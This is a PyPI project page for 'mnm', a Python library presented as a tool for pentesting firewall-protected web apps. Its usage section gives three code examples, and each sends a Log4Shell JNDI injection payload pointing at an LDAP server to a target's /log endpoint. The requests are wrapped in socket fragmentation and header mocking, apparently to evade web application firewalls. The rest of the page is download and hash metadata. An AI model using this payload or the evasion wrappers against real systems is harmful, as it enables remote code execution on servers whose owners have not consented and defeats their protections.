A simple python library for pentesting firewall protected webapp
Project description
mnm
This is a simple python library for pentesting firewall protected webapp.
Installation
pip install mnm
Usage
from mnm import *
import requests
@mixed(SocketFragmentation(slice=5), HeaderMocking())
def mixed_options(ip):
r = requests.get(f'http://{ip}/log', data={
"log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
})
print(r.text)
@mixed()
def mixed_simple(ip):
r = requests.get(f'http://{ip}/log', data={
"log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
})
print(r.text)
def with_pattern(ip):
with SocketFragmentation(slice=5), HeaderMocking():
r = requests.get(f'http://{ip}/log', data={
"log": "${jndi:ldap://localhost:1389/Basic/BinaryInj#z}"
})
print(r.text)
License
MIT License
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
mnm-0.2.1.tar.gz
(5.0 kB
view details)
Built Distribution
mnm-0.2.1-py3-none-any.whl
(7.1 kB
view details)
File details
Details for the file mnm-0.2.1.tar.gz
.
File metadata
- Download URL: mnm-0.2.1.tar.gz
- Upload date:
- Size: 5.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.2 CPython/3.10.6
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 5c13af310fc0ba0a2b73a76ff57e640cda3d8ff2dba4a68e47b0e36f9e6ba341 |
|
MD5 | 6d80506a262f69b1521dd44b5febf899 |
|
BLAKE2b-256 | 43a5f11ceaff387a0d228d3f9413055e14bd306e404acb95a32aff8f5b5c63be |
File details
Details for the file mnm-0.2.1-py3-none-any.whl
.
File metadata
- Download URL: mnm-0.2.1-py3-none-any.whl
- Upload date:
- Size: 7.1 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.2 CPython/3.10.6
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 25c2852caee21006994a77a610abce85ae5ab890ed87d372a6e78bfa4f103a20 |
|
MD5 | 78d82fd89f6c37b583e987a5d9b43344 |
|
BLAKE2b-256 | ebc87de2635cc7ac0872007675b0a458e5f033986e1c6e61f90f13548bf10f3a |